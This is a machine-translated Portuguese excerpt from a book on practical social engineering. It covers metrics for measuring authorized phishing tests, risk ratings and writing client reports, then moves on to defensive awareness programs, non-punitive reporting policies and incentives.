informações de visualização, como os usuários podem saber se um e-mail é um phishing sem
abri-lo?
Há uma ressalva: adversários mais avançados podem usar a exploração do lado
do navegador para coletar metadados dos navegadores, se um usuário abrir um email.
Estas são ameaças reais, mas se uma empresa não conseguir resistir a um envolvimento
básico de phishing, provavelmente não terá maturidade para mitigar estes ataques mais
avançados. Isso ilustra um tema que abordaremos no Capítulo 10, a defesa em profundidade.
Você não deve confiar apenas na educação ou apenas em controles técnicos.
Procure educar, mas implemente ferramentas de segurança de e-mail além da proteção
contra malware.
Em vez de focar apenas no número de aberturas, concentre-se nas seguintes métricas
úteis:

Distância do relatório aberto O tempo do primeiro relatório menos o tempo da primeira


abertura
Proporção de relatórios abertos O número de vezes que o e-mail foi relatado
dividido pelo número de aberturas

A distância do relatório aberto mede o tempo entre o primeiro e-mail


é aberto e o horário em que é reportado à equipe de segurança. Essa métrica é valiosa
porque dá uma ideia sobre quanto tempo a equipe de segurança tem para evitar que o
phishing tenha um grande impacto. Depois de receber o relatório, a equipe de segurança
pode consultar o e-mail, visualizar o site vinculado em um ambiente de área restrita e
então começar a tomar ações defensivas. Essas ações podem incluir trabalhar para retirar o
site do ar e bloquear o link (fazer alterações nas configurações internas de DNS

124 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

para redirecionar os usuários para um local seguro quando clicarem nele). Um valor alto de
distância de abertura do relatório pode indicar que muitas pessoas abriram o e-mail antes de ele
ser denunciado, o que também proporciona menos tempo para a equipe de segurança agir,
devido à probabilidade de alguém clicar em um link e não denunciá-lo, já que muitas pessoas
já demonstraram.
A taxa de relatórios abertos mede o envolvimento dos usuários em termos de
relatórios. Dos usuários que abriram o e-mail, quantos relataram à equipe de segurança? Esta
métrica indica se existe um relacionamento colaborativo entre os usuários e a equipe de
segurança. Também fala da capacidade dos usuários de reconhecer uma tentativa de phishing.

O número de cliques
O número de cliques no link do e-mail é uma das métricas mais influentes. Os cliques podem
levar a infecções por malware, uploads de arquivos ou vazamento de informações confidenciais,
como senhas, por meio de formulários falsos. Ainda assim, embora mais importante do que as
aberturas, esta métrica não é a mais importante.
Combinar cliques com outros dados, como o tempo desde o primeiro clique
ao primeiro relatório, ou medir as métricas de informações clique para relatar e clicar
para inserir, são muito mais valiosas. Isso porque é importante entender até que ponto uma
organização pode responder aos cliques, e não apenas se os usuários clicariam.

Embora seja verdade que os usuários não deveriam clicar nesses links para começar,
é mais uma vez responsabilidade da equipe de segurança protegê-los caso o façam. A
administração de correio, as equipes de segurança da informação e os usuários devem
colaborar para que, se um link for clicado, o sistema proteja o usuário. O fardo de proteger a
organização não deve recair inteiramente sobre o usuário não treinado e não técnico.

As métricas úteis que envolvem cliques incluem o seguinte:

Distância do relatório de clique O tempo do primeiro relatório menos o tempo do


primeiro clique

Proporção de relatórios de cliques O número de vezes relatado dividido pelo número


de cliques

Proporção de entrada O número de vezes que a informação é inserida (em um


formulário, por exemplo) dividido pelo número de cliques
Proporção de relatório de entrada O número de vezes que as informações são inseridas
dividido pelo número de relatórios

Assim como a distância do relatório aberto, a distância do relatório de clique mede o tempo
entre o momento em que o primeiro e-mail é clicado e o momento em que ele é reportado à
equipe de segurança. Essa métrica indica mais uma vez quanto tempo a equipe de segurança
tem para mitigar o impacto do phishing. Além disso, assim como a taxa de relatórios
abertos, a taxa de relatórios de cliques mede o envolvimento dos usuários em termos de
relatórios.
Considere a discrepância entre relatórios de cliques e relatórios de abertura.
Idealmente, ter uma maior taxa de relatórios abertos é mais benéfico para a organização, uma
vez que fornece alertas à equipe de segurança mais cedo e proporciona uma maior
oportunidade de ação. Idealmente, as organizações teriam um alto

Detecção, Medição e Relatórios 125


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

taxa de relatórios de abertura e um conjunto de dados mínimo para medir os relatórios de


cliques. Ter uma taxa de relatórios de cliques maior do que a taxa de relatórios de abertura, ou
proporções iguais, indica que as pessoas estão abrindo os e-mails e clicando antes de relatar.

A proporção de entrada mede o número de pessoas que clicaram


o link enviado por e-mail, que inseriu informações no site vinculado.
Da mesma forma, a proporção de relatórios de entrada compara o número de vezes que essas
informações foram inseridas com o número de vezes que foram reportadas à equipe de
segurança. Em um mundo perfeito, teríamos uma proporção de entrada de 0 (visto que 0
dividido por qualquer coisa é 0). Isso indicaria que ninguém inseriu nenhuma informação,
apesar de abrir o e-mail e clicar em um link.
Caso contrário, desejaríamos uma alta taxa de entrada. Isso indica que as pessoas
percebem quando cometem erros e se sentem confortáveis em confessar isso à equipe de
segurança. É melhor que um usuário denuncie clicar em um link sem medo de punição do
que permanecer em silêncio enquanto as ações maliciosas ocorrem. É mais fácil para os
profissionais de segurança defenderem-se contra algo que sabem que existe do que serem
surpreendidos por algo que pode ser evitado.

Entrada de informações em formulários

A natureza das informações que os usuários inserem nos formulários é outra das métricas mais
críticas. Os usuários poderiam inserir senhas, endereços de e-mail e outras informações
confidenciais neste formulário e, sem um Centro de Operações de Segurança robusto
monitorando ativamente os sistemas dos usuários, as atividades na Internet e as atividades
da Internet pública, a organização não poderia ser mais sábia. Ao relatar essa métrica, evite
compartilhar as senhas reais ou os dados coletados no relatório. Se você precisar compartilhar
as informações, tente fornecer apenas uma lista de usuários que devem redefinir suas senhas;
além disso, é melhor fazê-lo fora do relatório formal.

Métricas úteis que usam informações de entrada incluem o seguinte:

Proporção de entrada O número de vezes que as informações são inseridas dividido


pelo número de cliques

Proporção de relatório de entrada O número de vezes que as informações são inseridas


dividido pelo número de relatórios
Razão de validade O número de credenciais válidas inseridas dividido pelo número de
credenciais inseridas
Proporção comprometida O número de usuários com dados em Have I Been
Pwned quem inseriu informações dividido pelo número de usuários que inseriram
informações

Calcular a taxa de validade requer que você conheça os hashes dos usuários
credenciais reais. Se a equipe de segurança do cliente estiver disposta a fornecer os
hashes para as senhas de seus usuários, você poderá fazer o hash das informações inseridas
no formulário usando o mesmo algoritmo de hash e, em seguida, comparar os dois hashes
para ver se os usuários inserem informações válidas. Isso pode indicar o número de pessoas
que colocaram informações legítimas no site de phishing versus quantas pessoas não o fizeram,
seja por erro ou trollagem.

126 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Se a organização realizar atividades de phishing com os funcionários


com muita frequência ou vincular seu desempenho nesses compromissos a avaliações de
desempenho, os funcionários às vezes inserem informações falsas ou até mesmo
informações de outros funcionários. Embora não devamos encorajar os funcionários a
inserir nada, ensiná-los a inserir informações falsas pode beneficiar a organização de duas
maneiras: se a organização definir um conjunto padrão de informações falsas (endereço
de e-mail, nome, número de telefone, senha), a Segurança O Operations Center pode
monitorar seu uso, os funcionários podem testar para ver se o site aceita as informações
falsas e a organização pode aproveitar essas informações (se vazadas) para identificar os
atores que tentam usá-las para obter acesso não autorizado. Não confirmar a validade das
informações pode distorcer a análise estatística e os resultados do seu relatório, fazendo
com que a organização pareça ter um desempenho pior do que realmente teve.

Calcular a proporção comprometida requer um pouco de OSINT. Esta métrica


é útil, entretanto, porque reconhece a influência dos ataques de engenharia social no
comportamento do usuário, além do escopo daquele que está sendo realizado. Usando
os endereços de e-mail comerciais das vítimas, veja quantos estão listados no banco de
dados Have I Been Pwned (apresentado no Capítulo 6). Compare isso com o número de
usuários que inserem informações. Se você encontrar usuários no banco de dados,
dependendo da violação da qual eles fizeram parte, você pode incorporar o uso aceitável
de e-mails da empresa em seu programa de conscientização e estabelecer uma política
firme para evitar ocorrências futuras.
Encontrar funcionários no banco de dados indica que eles podem se comportar de maneira
arriscada online e representar um risco para a organização.
Essa métrica provavelmente sempre conterá informações tendenciosas, distorcendo
assim o resultado. Algumas pessoas usarão seu endereço de e-mail comercial para tudo e
não serão pegas ou violadas, daí a distorção e o preconceito.
As pessoas freqüentemente usam as mesmas senhas em casa e no trabalho. A menos
que você avalie todas as violações de senha em que o usuário esteve, os números estarão
errados. O empregador de uma pessoa não pode encomendar inquérito sobre bens
pessoais sem o consentimento dos funcionários na maioria das situações. Não me sinto
confortável em pedir esse consentimento, mas se você tivesse o consentimento do
funcionário para pesquisar bases de dados de violação de suas contas pessoais, você
poderia remover a maior parte dos preconceitos dessa métrica, já que teria a capacidade
de medir sua postura holística de segurança.

Ações tomadas pela vítima


As ações tomadas pela vítima podem incluir abrir o e-mail, excluir o e-mail, encaminhá-lo
para pessoal não técnico ou não-segurança, encaminhá-lo para a segurança, clicar em links
no e-mail, inserir informações ou denunciá-lo (seja após ser vítima ou não). ). É fundamental
entender o que o usuário faz após ser vítima. Eles relatam isso à administração, tentam
encobrir ou não fazem nada? A inclusão dessas informações no relatório exigirá informações
do cliente, mas essas informações normalmente não são difíceis de adquirir. Na minha
experiência, recebi quando simplesmente pedi.

Detecção, Medição e Relatórios 127


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Tempo de Detecção

Quanto tempo leva para a equipe de segurança da organização descobrir que ocorreu
uma tentativa de phishing? A organização foi informada disso por meio de relatórios
de usuários, de um aplicativo ou serviço de e-mail ou do sistema SEIM? O tempo
necessário para detectar o evento indica a maturidade da organização e suas
capacidades de segurança da informação. Quanto maior o tempo e se a detecção ocorre,
é um indicativo de quão catastrófico um ataque pode ser.
Dependendo do relatório que você lê e dos motivos do editor, pense
O tempo (a quantidade de tempo que um invasor pode executar ações em um
ambiente sem despertar a detecção ou outras medidas de mitigação) varia de dias a
anos. Tempos de permanência mais baixos significam menos tempo para um invasor
estabelecer uma fortaleza, criar resultados adversos para a organização ou gerar
publicidade negativa.
Discutimos métricas e comparações úteis para medir a detecção
tempo de discussão nas outras seções deste capítulo, por isso não vamos repeti-
las aqui.

A oportunidade das ações corretivas


Com que rapidez a organização executa uma ação corretiva? Quanto mais
rápido, melhor. Esta métrica indica a resiliência das capacidades de resposta a incidentes
da organização. As seguintes medidas podem ajudar a determinar quão bem uma equipe
de resposta a incidentes pode reagir a um incidente:

Distância corretiva de abertura O tempo em que a ação corretiva ocorre menos o


tempo da primeira abertura
Distância corretiva do clique O tempo em que a ação corretiva ocorre menos o tempo do
primeiro clique

As distâncias corretivas de abertura e clique são medidas do tempo


da primeira abertura ou clique – dependendo do que for apropriado, dado o contexto
– até que ocorra uma ação corretiva. As ações corretivas incluem afundar o link,
bloquear o remetente, iniciar a remoção do site e informar os usuários sobre o ataque,
entre outras. Estas métricas não dizem nada sobre se as ações tomadas foram
adequadas (essa é a próxima métrica). Mais uma vez, eles estão preocupados com o
tempo de resposta da organização. Tomar as medidas corretas é importante, mas as
ações não significam nada se não forem tomadas em tempo hábil.

O sucesso das ações corretivas


Tão crítico quanto a oportunidade das ações corretivas é o sucesso de tais esforços.
Se os passos impedirem o ataque, perfeito. Em alguns casos, porém, a ação corretiva
pode melhorar o ataque e fazê-lo funcionar em benefício do atacante.

Em um dos meus compromissos, fui bloqueado após enviar cerca de 50% dos
meus e-mails. Eu os enviava em lotes de 7 a 15 pessoas por vez.
Apenas cerca de 20% dos destinatários clicaram no meu link e apenas 6% inseriram
alguma informação. Eu pensei que estava frito.

128 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Na manhã seguinte, entrei no meu sistema e vi que 42% dos


a organização tinha informações de entrada; algumas pessoas até fizeram isso duas
ou mais vezes. Por quê isso aconteceu? O administrador de rede que me bloqueou
encaminhou o e-mail para toda a organização sem bloquear ou ocultar o link do e-mail.
Eles criaram uma espécie de efeito Streisand ; ao tentar alertar as pessoas sobre o e-
mail, eles expuseram mais pessoas a ele, e a curiosidade matou os gatos.

Classificações de risco

Quantificar o risco não é fácil, mas é importante fazê-lo, porque o relatório que
você envia ao seu cliente deve organizar suas descobertas com base na gravidade.
Várias metodologias podem ser usadas para classificar e quantificar o risco, tanto
qualitativamente (usando rótulos subjetivos como Crítico, Alto, Médio, Baixo e
Informativo) quanto quantitativamente (como em uma escala de 0 a 10). A Metodologia
de Classificação de Risco OWASP e o Sistema Comum de Pontuação de
Vulnerabilidade (CVSS) são duas dessas metodologias.
A menos que seu empregador ou cliente queira uma pontuação de risco
quantitativa, recomendo manter a qualitativa. A tentativa de realizar análises
quantitativas exige que todos os pontos de dados estejam em formato numérico, e a
realização de traduções para alguns pontos de dados cria mais complexidade e
complicações do que o necessário. A maioria de nossas métricas é de natureza
quantitativa, mas não podemos traduzir facilmente ações em valores numéricos. Por
exemplo, encaminhar um e-mail não está relacionado à exclusão de um e-mail. Se
atribuirmos um valor numérico a essas tarefas, implicamos a existência de uma
relação entre elas, o que não existe. Ao determinar a gravidade do risco,
considere a probabilidade e o impacto do incidente e, em seguida, equilibre esses
dois fatores para obter uma classificação única.
A seguir, defina o que deve contar como Crítico, Alto, Médio, Baixo e
Informativo. A seguir estão as definições padronizadas que você pode usar em seu
relatório conforme achar adequado:
Crítico

Estes são os riscos que podem causar danos catastróficos, períodos de inatividade
prolongados ou o fim de todas as operações. Eles são imediatamente e
facilmente exploráveis. Muitas vezes, são voltados ao público e têm impactos
significativos na capacidade de uma organização fazer negócios. Eles
também podem ameaçar a vida humana. No caso da segurança da informação,
isto também pode incluir uma violação de dados regulamentados ou sensíveis,
como informações pessoalmente identificáveis (PII) ou informações de saúde
protegidas (PHI), que foi o que ocorreu no Equifax, Escritório de Gestão de
Pessoal dos EUA ( OPM), ou outras violações da mesma magnitude.

Alto

Esses riscos podem causar paralisações dispendiosas ou graves, danos ou


interrupções nas operações. A barreira de entrada para exploração e impacto é baixa.
Têm um impacto elevado e podem envolver dados sensíveis ou dados
regulamentados, embora em quantidades inferiores aos riscos Críticos.

Detecção, Medição e Relatórios 129


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Médio

Esses itens podem causar interrupções ou problemas na organização do cliente, mas


sem grandes interrupções. Poderiam envolver o acesso a sistemas que poderiam ser
usados para migrar para outros sistemas ou instalações. Isso pode envolver dados não
públicos que não sejam particularmente confidenciais.

Baixo

Esses itens representam pouco risco para o cliente. Eles poderiam ter dependências
marginais, como acesso físico local, ou exigir que outro vetor de exploração já tivesse
sido realizado. Estes riscos envolvem perturbações mínimas se forem bem sucedidos.

Informativo

Estes não representam nenhum risco atual, mas não aderem às melhores práticas ou podem
tornar-se arriscados mais tarde.

Comunicando
Esta seção irá guiá-lo na redação do relatório de entrega para seu cliente. Embora não seja
tão empolgante quanto o envolvimento em si, o relatório é o que os clientes pagam para você
receber muito dinheiro. Dito isto, torná-lo útil é um desafio. A verdade é que alguns clientes
lerão o relatório com atenção, enquanto outros o arquivarão para fins de conformidade, sem
dar uma olhada nele. Se as pessoas não lerem o relatório, como poderão corrigir as
conclusões? Esta seção responde a essa pergunta analisando dois ângulos: o relatório de
entrega que o cliente deve ler e as situações que justificam que você pare o que está
fazendo e ligue para o cliente.

Saber quando fazer uma ligação


O relatório não é sua única ferramenta de comunicação com seu cliente. Ligue para o cliente
sempre que a vida humana ou recursos computacionais críticos estiverem em perigo.
Por exemplo, se você descobrir um agente mal-intencionado na rede do cliente ou outra
condição desagradável que possa ser urgente, alerte o cliente imediatamente.
Para tudo o mais envolvido com o envolvimento e atividades associadas, sinta-se à
vontade para fornecer atualizações breves e incrementais por e-mail ou telefone, mas
certifique-se de esclarecer que nenhuma das informações contidas nestas comunicações
informais é oficial. Não fazer isso poderá levá-lo a tribunal se uma atualização fornecida
contradizer as informações do seu relatório. O relatório deve ser a principal e, de preferência,
a única comunicação oficial entre você e o cliente após a conclusão do processo de venda.

Escrevendo o relatório
Aconselho você a escrever o relatório à medida que avança, para não perder detalhes ou ter
que vasculhar anotações para cobrir tudo. Pegando emprestada alguma filosofia

130 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

de Chris Sanders, autor de Practical Packet Analysis (No Starch Press, 2017), seu relatório
deve ser claro e conciso, mas também deve contar uma história.
Usando a narrativa, você pode envolver os leitores de forma mais eficaz para encorajar:
talvez até mesmo fazer engenharia social para que leiam o relatório na íntegra.
O que quero dizer com contar histórias? Explique as etapas que você seguiu e por que elas
foram importantes. Faça parecer que você estava agindo como um verdadeiro ator malicioso.
Fale sobre o que você viu, sua análise e os resultados. Para ajudá-lo a envolver os leitores, use a
voz ativa em vez da voz passiva. Por exemplo, os consultores enumeraram com sucesso que o
site está em voz ativa. A enumeração do site foi considerada possível em voz passiva.

Dependendo se você trabalha por conta própria ou trabalha para uma empresa, esse
tempo pode ser executado a uma taxa faturável menor do que o contrato em si, ou pode ser não
faturável. Não use todo o tempo alocado só para usá-lo. Use apenas o que você precisa. Este
tempo também deve levar em conta as revisões de documentos (como por editores, equipes
jurídicas ou garantia de qualidade).

Estruturando o Relatório

Para começar, obtenha o modelo de sua preferência – o do seu empregador, um do Apêndice B,


um da Internet ou um que você faça do zero. Para os propósitos deste capítulo, percorreremos o
modelo encontrado na página XX.
Na seção de antecedentes, explique os parâmetros que limitam o teste e os motivos pelos
quais o teste foi realizado. Inclua o palavreado do escopo definido do trabalho e da declaração de
trabalho nesta seção para que você especifique claramente as regras que lhe foram fornecidas
e os parâmetros dentro dos quais se espera que você opere. Esta seção não deve ter mais do que
uma página, de preferência apenas um ou dois parágrafos.

Em seguida vem o sumário executivo, ou no jargão moderno da internet, o muito longo;


não li a parte (TL;DR) do relatório. Use esta seção para fornecer uma visão geral de alto nível do
que você fez, do que encontrou e como avaliou isso.
Você também pode adicionar conselhos gerais de correção. Não entre em detalhes aqui, pois
você deve presumir que o público desta seção não é técnico e quer pouco mais do que um
discurso de elevador.
Após o resumo executivo, inclua uma seção descrevendo suas principais conclusões. É
aqui que você deve definir as principais questões que devem preocupar o cliente. Usando um
sistema de classificação de risco, como o descrito em “Classificações de Risco” na página XX,
determine quais descobertas merecem uma classificação de Risco Crítico ou Alto e inclua apenas
essas. (Todas as outras descobertas pertencem a uma seção genérica “Resultados”, mais adiante
no documento.) Para cada descoberta séria, explique qual é a descoberta, como ela pode ser
explorada, quais são os resultados potenciais, como testá-la de forma independente e como
para remediá-lo. Faça o seu melhor para transmitir a gravidade dessas descobertas ao seu
público. Ao falar com executivos, achei útil descrever um risco, delineando consequências
negativas específicas, como acabar na primeira página do New York Times ou em tribunal,
sendo acusado de negligência. Detalhes específicos como esses podem ajudar a chamar a atenção
dos executivos.

A próxima seção deve detalhar o OSINT que você encontrou. Para cada informação, inclua o
resultado da ferramenta que você usou ou uma captura de tela do

Detecção, Medição e Relatórios 131


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

a informação para servir de prova. Se os dados estiverem disponíveis na Internet pública,


você também poderá fornecer um link. Sem resultados, capturas de tela ou links, os clientes
não têm como validar se as informações que você fornece são factuais.

Se suas capturas de tela incluírem informações confidenciais, incriminatórias ou outras


informações prejudiciais, considere criptografar o documento ao enviá-lo ao cliente.
Também trabalhei com clientes que não aceitavam nenhum relatório digitalmente. Eles
exigiram que o relatório fosse enviado pelo correio, para evitar a descoberta eletrônica caso
qualquer coisa associada ao relatório acabasse em tribunal. Embora você não precise
rotular os riscos nesta seção, porque se eles forem significativos o suficiente para serem
considerados uma descoberta, eles serão listados e rotulados na seção de descobertas,
coloque os riscos críticos e de alto nível em negrito para chamar a atenção para eles.
Depois da seção OSINT vem a seção de engenharia social, que
descreve seu envolvimento real. Se você realizou vários tipos de engenharia social,
use subtítulos para dividir esta seção em cada tipo de envolvimento: phishing, vishing
e testes no local. Se você estiver realizando um envolvimento híbrido, o que significa que
seu phishing e vishing estão interligados, coloque-os na subseção “Híbrido”. Dentro de
cada subseção, explique cada pretexto usado. Discuta o que você fez e os resultados.
Em seguida, utilize as métricas descritas em “Medição” na página XX para ajudar a
explicar o impacto dos resultados. Se você já trabalhou com o cliente anteriormente,
também pode comparar as descobertas deste trabalho com o trabalho anterior para
que o cliente possa ver seu progresso.

Insira todas as suas descobertas na próxima seção. Este é o lugar para ser prolixo.
Explique o problema, como você o encontrou, os artefatos que você encontrou, referências
que explicam por que ele é um problema, como remediá-lo totalmente e possíveis
atenuações se a remediação completa não for uma opção. Esta seção reiterará o
conteúdo das seções de resumo executivo e conclusões. É aqui que você explica de
forma coesa, em formato de parágrafo (embora listas ocasionais possam ser úteis para
resumir informações) como corrigir os problemas que você descobriu. Em seguida,
termine com a seção de correções e recomendações.
Defenda treinamento, soluções técnicas ou outras mudanças culturais. A Parte 3 deste livro
discute essas proteções.
Lembre-se de que você está apenas recomendando. Você não tem autoridade para
exigir quaisquer alterações e o cliente pode ou não resolver o problema.
Embora você possa sentir um sentimento de propriedade do projeto, em última análise,
não será problema seu se eles decidirem não seguir seu conselho.

Garantindo Verbosidade e

Precisão Recomendo que várias pessoas, sob acordos de confidencialidade (NDAs),


revisem o relatório antes de entregá-lo aos clientes. Uma pessoa deve revisar todos
os aspectos técnicos do relatório quanto à precisão, enquanto outra pessoa deve revisá-
lo quanto à gramática, mecânica e prosa. Seus revisores também devem avaliar a
verbosidade do relatório para garantir que ele seja detalhado o suficiente para transmitir
os pontos de maneira adequada, mas não excessivamente prolixo. Como Frances Saux,
editora deste livro, pode atestar, isso é algo contra o qual tenho dificuldade. Muitos
engenheiros sociais o fazem. E como meu editor Bill Pollock apontou

132 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Como resultado, os engenheiros sociais confiam na sua capacidade de falar como um ponto de força.
Ao trabalhar com pessoas não técnicas e não relacionadas à segurança, essa força
se torna uma falha.

Conclusão
Os relatórios não são o aspecto mais divertido da engenharia social ou da coleta OSINT,
mas são um dos aspectos mais importantes. Faça o possível para transmitir à gerência não
apenas o que você executou, mas também como os funcionários se saíram contra você,
juntamente com conselhos práticos para melhorar.
As métricas que você mede e a maneira como você as mede influenciarão
os processos de tomada de decisão do seu cliente e o sucesso geral do seu negócio.
Fornecer dados mal explicados ou distorcidos pode constranger o cliente ou, pior, colocá-lo
em apuros legais e você com um (ou mais) clientes a menos.

Lembre-se de que seu relatório geralmente é a única coisa que a equipe de gestão
do seu cliente vê do seu envolvimento. Eles não verão o quão bom você é em phishing ou
vishing e, mesmo que o fizessem, provavelmente não ficariam tão impressionados com isso
quanto seus colegas do setor de segurança. O que os impressionará é um relatório
profissional, escrito em termos que possam compreender, com conselhos que possam
implementar.

Detecção, Medição e Relatórios 133


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

PARTE III
DEFENDENDO CONTRA
ENGENHARIA SOCIAL
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

10
DEFESA PROATIVA
TÉCNICAS
Se você disser a verdade, não precisará se lembrar de nada.
—Mark Twain

Agora que cobrimos os fundamentos

da engenharia social e da coleção OSINT, é hora de


falar sobre como uma organização pode minimizar o
impacto desses ataques
ou mesmo impedi-los completamente. Embora raramente você
consiga interromper todos os ataques, você pode tomar medidas para
reduzir a taxa de sucesso de um ataque e diminuir seus danos se ele
tiver sucesso.
Este capítulo aborda três dessas técnicas: programas de conscientização,
monitoramento de reputação e resposta a incidentes. Discutiremos os elementos de
um programa de conscientização bem-sucedido, explicaremos como implementar
monitoramento OSINT e controles técnicos de e-mail, fornecer integração com
resposta a incidentes e, por fim, produzir inteligência sobre ameaças.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Programas de Conscientização
Os programas de conscientização são iniciativas da empresa projetadas para fornecer
orientação aos usuários em situações em que eles encontram — ou, infelizmente, são
vítimas de — um ataque de engenharia social. Esses programas são essenciais porque
expõem os usuários, que provavelmente já estão recebendo e-mails de phishing, a táticas que
invasores mal-intencionados podem usar sem o potencial resultado negativo.
Uma abordagem para conduzir esses treinamentos é ensinar aos usuários sobre
tendências comuns no setor de segurança. Oferecer esse tipo de conselho geral raramente
é suficiente. Esperamos que os capítulos anteriores deste livro tenham ajudado você a
entender que as diretrizes de segurança tradicionais – como procurar o cadeado verde
na barra de endereço do seu navegador, prestar atenção à ortografia e gramática nos e-
mails e verificar endereços de links – não são mais suficientes. para evitar ataques de phishing.
Claro, alguns invasores ainda cometem esses erros. Mas os sofisticados, capazes de
causar danos catastróficos a uma organização, não o são.

Uma abordagem melhor é informar os usuários sobre os problemas específicos que a


organização enfrenta como resultado do phishing. Por exemplo, se a organização estiver
enfrentando, digamos, um influxo de e-mails do Príncipe Nigeriano ou uma campanha
agressiva de comprometimento de e-mails comerciais que falsifique o CFO, informar os
usuários dos detalhes irá equipá-los melhor para resistir a esses ataques. É provável que os
usuários encontrem um desses ataques específicos, por isso devem estar atentos a eles.

Como e quando treinar


Embora o treinamento deva ocorrer com frequência para manter os usuários cientes das
tendências atuais, você também não deve prejudicar as tarefas atribuídas. Oferecer
atividades de conscientização com frequência suficiente para que os usuários possam reter
as lições sem se tornarem um incômodo é um equilíbrio delicado. Eu recomendo fornecer
treinamento pelo menos trimestralmente. Embora os treinamentos mensais ofereçam mais
segurança, eles podem ser incômodos tanto para os usuários quanto para quem gerencia o programa.
Durante este evento educativo periódico, você deve fornecer exemplos de
e-mails de phishing que a organização recebeu desde o último treinamento. Se sua
organização realizou algum teste, você também poderá distribuir estatísticas como as discutidas
no Capítulo 9. Mais importante ainda, você deve informar aos usuários as etapas que
devem seguir caso recebam um e-mail de phishing e as etapas que devem seguir caso sejam
vítimas.
Ao discutir os exemplos de e-mails de phishing, aponte quaisquer pistas que
indiquem que os e-mails são falsos. Faça isso do ponto de vista lógico, de linguagem e
técnico. Chame a atenção para quaisquer solicitações que violem os procedimentos
operacionais padrão ou o motivo. Por exemplo, levante a questão de por que o CFO em férias
na Tailândia precisa que você libere US$ 45 milhões, envie-os para uma conta do PayPal e
depois envie uma mensagem de texto para um número em Belize. Aponte os erros
gramaticais, que podem incluir frases-chave faltantes, convenções ortográficas diferentes
(como organizar nos Estados Unidos em vez de organizar em outras partes do mundo) ou
usar o termo errado para funcionários (associado do Walmart e membro do elenco para
Disney). Ensine os usuários a passar o mouse sobre os links para ver a página para a qual o
e-mail está tentando enviá-los. Incentive-os a encaminhar e-mails suspeitos para a
equipe de segurança. Desencoraje-os de encaminhar

138 Capítulo 10
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

correntes ou responder a e-mails suspeitos sem primeiro falar com a equipe de segurança.

Em um tipo de programa de sucesso, “Pensamento de Segurança do Mês”


treinamento, a equipe de segurança discute um conceito relacionado à engenharia
social, ou qualquer tópico relevante para a segurança, por sessão. Esses conceitos
podem coincidir com compromissos anteriores ou futuros. Eles também podem
complementar eventos atuais. Por exemplo, nos Estados Unidos, os empregadores
fornecem aos empregados formulários fiscais em Janeiro, permitindo-lhes cumprir o prazo
de declaração de impostos de 15 de Abril. Coincidentemente, muitas tentativas bem-
sucedidas de phishing W-2 ocorrem nas primeiras semanas de janeiro. Da mesma
forma, setembro ou outubro tendem a ser os melhores meses para falar sobre roubo de
identidade e comércio eletrônico, porque chegam logo antes da temporada de compras natalinas.

Políticas Não Punitivas


Um dos principais motivos pelos quais as pessoas não denunciam ter sido vítimas de
e-mails de phishing – seja um clique, um download ou informações inseridas em um
formulário da web – é que ficam envergonhadas por terem feito isso ou temem por seu
trabalho. Mas uma tentativa de phishing bem-sucedida não relatada pode causar um tempo
de inatividade significativo ou, se a organização for vítima de ransomware, a compra de
Bitcoin ou cartões-presente da Apple para desbloqueá-la.
Os funcionários devem saber que é aceitável relatar que caíram
vítima de um ataque de engenharia social. Embora isso possa significar que eles
devem concluir um treinamento adicional, eles não deveriam ter que atualizar seus
currículos como resultado. Muitas empresas de engenharia social colocam disposições nos
contratos que assinam com os seus clientes que impedem que os funcionários sejam
despedidos em consequência dos testes. (Até onde sei, esta linguagem não foi testada em
tribunal.) Não participei pessoalmente em qualquer litígio relativo a tal disposição nem
tenho conhecimento íntimo de alguém que o tenha feito. Consulte seu consultor jurídico
antes de tentar implementar isso em qualquer contrato.
Em casos raros, os funcionários podem precisar de ser despedidos porque
não conseguem compreender o conceito de sensibilização para a segurança. Isso ocorre
se o funcionário se tornar um passivo maior do que um ativo. Ainda assim, a rescisão do
contrato de um funcionário deve ser o último recurso. Comece esgotando todas as
tentativas de treinar o funcionário, inclusive indo além dos típicos programas de
conscientização. Tente também implementar controles técnicos adicionais.

Incentivos ao bom comportamento

Embora não seja do seu interesse punir os erros das pessoas, é útil reforçar o bom
comportamento. Mais uma vez, porém, fazê-lo corretamente é um equilíbrio delicado. A
razão pela qual é delicado é que, ocasionalmente, as pessoas tentam manipular o sistema.

Para dar um exemplo de como a oferta de incentivos pode dar errado, consideremos
o que aconteceu ao Wells Fargo em 2016. Entre 2009 e 2015, o Wells Fargo estabeleceu
metas de vendas irrealistas para o seu pessoal. Mais tarde, o banco descobriu que estes
objectivos tinham incentivado 5.300 funcionários a criar contas falsas no Wells Fargo, em
alguns casos para familiares e amigos, mas noutros casos para estranhos. A administração
descobriu isso quando estranhos começaram a cobrar taxas.

Técnicas de Defesa Proativa 139


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Para evitar que os funcionários joguem no sistema, evite oferecer incentivos


por relatar o maior número de tentativas de phishing. Esses incentivos incentivariam os funcionários
a colocar seus e-mails em listas de phishing, criando mais trabalho para a equipe de segurança. Em
vez disso, você poderia incentivar relatórios inteligentes ou exclusivos
e-mails de phishing, passando por todas as simulações de phishing ou reportando-as, ou algo
nesse sentido. A ideia é recompensar as denúncias em geral, especialmente de tentativas de
phishing inteligentes ou únicas, em vez de recompensar a maior quantidade de denúncias. Se uma
organização basear as recompensas na quantidade e os funcionários aparecerem propositalmente
em listas de phishing, eventualmente poderá surgir uma que pareça real e os usuários serão vítimas;
